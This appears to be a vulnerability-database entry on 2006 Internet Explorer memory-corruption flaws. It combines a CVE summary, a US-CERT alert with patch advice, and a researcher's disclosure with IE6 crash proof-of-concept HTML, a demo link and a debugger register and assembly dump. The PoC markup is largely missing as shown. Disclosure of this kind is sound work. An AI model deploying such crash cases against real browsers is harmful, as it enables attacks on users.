var-200604-0201
Vulnerability from variot

Microsoft Internet Explorer 5.01 through 6 allows remote attackers to execute arbitrary code via HTML elements with a certain crafted tag, which leads to memory corruption. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. Microsoft Windows fails to properly handle COM Objects. This vulnerability may allow a remote unauthenticated attacker to execute arbitrary code on a vulnerable system. Microsoft Internet Explorer (IE) will attempt to use COM objects that were not intended to be used in the web browser. This can cause a variety of impacts, such as causing IE to crash. This is related to the handling of certain HTML tags. They could also use HTML email for the attack. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

                    National Cyber Alert System

            Technical Cyber Security Alert TA06-101A

Microsoft Windows and Internet Explorer Vulnerabilities

Original release date: April 11, 2006 Last revised: -- Source: US-CERT

Systems Affected

 * Microsoft Windows
 * Microsoft Internet Explorer

For more complete information, refer to the Microsoft Security Bulletin Summary for April 2006.

I. (CVE-2006-0012)

II. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service.

III. Solution

Apply Updates

Microsoft has provided updates for these vulnerabilities in the Security Bulletins and on the Microsoft Update site.

Workarounds

Please see the US-CERT Vulnerability Notes for workarounds. Many of these vulnerabilities can be mitigated by following the instructions listed in the Securing Your Web Browser document.

Appendix A. Please send email to cert@cert.org with "TA06-101A Feedback VU#876678" in the subject.

For instructions on subscribing to or unsubscribing from this mailing list, visit http://www.us-cert.gov/cas/signup.html.

Produced 2006 by US-CERT, a government organization.

Terms of use:

 <http://www.us-cert.gov/legal.html>

Revision History

Apr 11, 2006: Initial release

-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux)

iQEVAwUBRDwj9n0pj593lg50AQInJggAoOBNa20SU8JukBoK5elr5vWOLcAjycHt Cg0+064ncCpQXoWiYPrLGVzg4/MCTVUygbYl85cePp5cHSHqpfuYXoBuZwSKu36+ olQdkbU1ejViA8A0XPsQ3EgtIRlDZSgL1ncYlRM8QxK8CF7QV616ta8q6H/3EDMM i+tXy6gzQMqJeUthopzGcfpf6U5Qu9PCk/+Pj66GfFhHpARanLef2H28WFRazC+I R+vLGLFLV0gp1Iy7t267l1BhN1w1z+fXD0WwYkiTwb0mzeize8Amdqlb5c4Vn4wh HAF/XGiCe5qkMhM7kRLA70JsNfSkI38JPHWSo9/a04wFBKENCAwNpA== =w6IC -----END PGP SIGNATURE----- .

Visit http://www.microsoft.com/windows/ie/default.mspx or http://en.wikipedia.org/wiki/Internet_Explorer for detailed information.

o Memory Corruption Vulnerability: #7d519030

Following HTML code forces IE 6 to crash:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 






    


    

    
</h6




</ul

Online-demo: http://morph3us.org/security/pen-testing/msie/ie60-1135035582812-7d519030.html

These are the register values and the ASM dump at the time of the access violation:

eax=00000000 ebx=0012e88c ecx=00000000 edx=0012e7c0 esi=00000000 edi=00000004 eip=7d519030 esp=0012e780 ebp=0012e894

    7d519012 55               push    ebp
    7d519013 8bec             mov     ebp,esp
    7d519015 8b4104           mov     eax,[ecx+0x4]
    7d519018 394508           cmp     [ebp+0x8],eax
    7d51901b 7c09             jl      mshtml+0x69026 (7d519026)
    7d51901d 7edc             jle     mshtml+0x68ffb (7d518ffb)
    7d51901f 33c0             xor     eax,eax
    7d519021 40               inc     eax
    7d519022 5d               pop     ebp
    7d519023 c20800           ret     0x8
    7d519026 83c8ff           or      eax,0xffffffff
    7d519029 ebf7             jmp     mshtml+0x69022 (7d519022)
    7d51902b 90               nop
    7d51902c 90               nop
    7d51902d 90               nop
    7d51902e 90               nop
    7d51902f 90               nop

FAULT ->7d519030 8b4108 mov eax,[ecx+0x8] ds:0023:00000008=???????? 7d519033 85c0 test eax,eax 7d519035 7425 jz mshtml+0x6905c (7d51905c) 7d519037 8b10 mov edx,[eax] 7d519039 f6c210 test dl,0x10 7d51903c 7408 jz mshtml+0x69046 (7d519046) 7d51903e f6c220 test dl,0x20 7d519041 7519 jnz mshtml+0x6905c (7d51905c) 7d519043 8b400c mov eax,[eax+0xc] 7d519046 8b4808 mov ecx,[eax+0x8] 7d519049 85c9 test ecx,ecx

o Memory Corruption Vulnerability: #7d529d35

Following HTML code forces IE 6 to crash:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 












</code